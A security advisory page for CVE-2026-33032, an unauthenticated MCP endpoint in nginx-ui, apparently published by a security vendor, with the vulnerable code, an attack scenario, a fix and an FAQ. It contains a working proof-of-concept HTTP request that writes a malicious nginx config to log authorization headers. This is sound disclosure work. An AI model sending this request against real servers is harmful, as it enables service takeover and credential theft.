CVE-2026-33032

The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcp_message. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcp_message endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details

Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

func InitRouter(r *gin.Engine) {
	r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
	r.Any("/mcp_message", middleware.IPWhiteList(),
		func(c *gin.Context) {
			mcp.ServeHTTP(c)
		})
}

The /mcp endpoint has middleware.AuthRequired(), but /mcp_message does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ip_whitelist.go:11-26 - Empty whitelist allows all

func IPWhiteList() gin.HandlerFunc {
	return func(c *gin.Context) {
		clientIP := c.ClientIP()
		if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
			c.Next()
			return
		}
		// ...
	}
}

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/:

• restart_nginx - restart the nginx process
• reload_nginx - reload nginx configuration
• nginx_status - read nginx status

From mcp/config/:

• nginx_config_add - create new nginx config files
• nginx_config_modify - modify existing config files
• nginx_config_list - list all configurations
• nginx_config_get - read config file contents
• nginx_config_enable - enable/disable sites
• nginx_config_rename - rename config files
• nginx_config_mkdir - create directories
• nginx_config_history - view config history
• nginx_config_base_path - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcp_message (default port)
2. No authentication is required - IP whitelist is empty by default
3. Attacker invokes nginx_config_modify with relative_path="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers)
4. nginx_config_add auto-reloads nginx (config_add.go:74), or attacker calls reload_nginx directly
5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC

1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

// Line 10 - /mcp requires auth:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c *gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcp_message does NOT:
r.Any("/mcp_message", middleware.IPWhiteList(), func(c *gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:

var AuthSettings = &Auth{
    BanThresholdMinutes: 10,
    MaxAttempts:         10,
    // IPWhiteList is not initialized - defaults to nil/empty slice
}

And the middleware at internal/middleware/ip_whitelist.go:14 passes all requests when the list is empty:

if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" {
    c.Next()
    return
}

3. Config writes auto-reload nginx. From mcp/config/config_add.go:

err := os.WriteFile(path, []byte(content), 0644)  // Line 69: write config file
// ...
res := nginx.Control(nginx.Reload)                 // Line 74: immediate reload

4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "tools/call",
  "params": {
    "name": "nginx_config_add",
    "arguments": {
      "name": "evil.conf",
      "content": "server { listen 8443; location / { proxy_pass http://127.0.0.1:9000; access_log /etc/nginx/conf.d/tokens.log; } }",
      "base_dir": "conf.d",
      "overwrite": true,
      "sync_node_ids": []
    }
  },
  "id": 1
}

No Authorization header is needed. The config is written and nginx reloads immediately.

• Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart
• Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit
• Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services
• Configuration exfiltration: All existing nginx configs are readable via nginx_config_get, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers
• Credential harvesting: By injecting access_log directives with custom log_format patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-33032 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add middleware.AuthRequired() to the /mcp_message route:

r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
    func(c *gin.Context) {
        mcp.ServeHTTP(c)
    })

Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.

1. What is CVE-2026-33032? CVE-2026-33032 is a critical-severity missing authentication for critical function vulnerability in github.com/0xJacky/Nginx-UI (go), affecting versions <= 1.99. No fixed version is listed yet. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-33032? CVE-2026-33032 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/0xJacky/Nginx-UI are affected by CVE-2026-33032? github.com/0xJacky/Nginx-UI (go) versions <= 1.99 is affected.
4. Is there a fix for CVE-2026-33032? No fixed version is listed for CVE-2026-33032 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33032 exploitable, and should I be worried? Whether CVE-2026-33032 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33032 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33032? No fixed version is listed yet. In the interim: Keep the dependency up to date. Add authentication gating to all sensitive endpoints.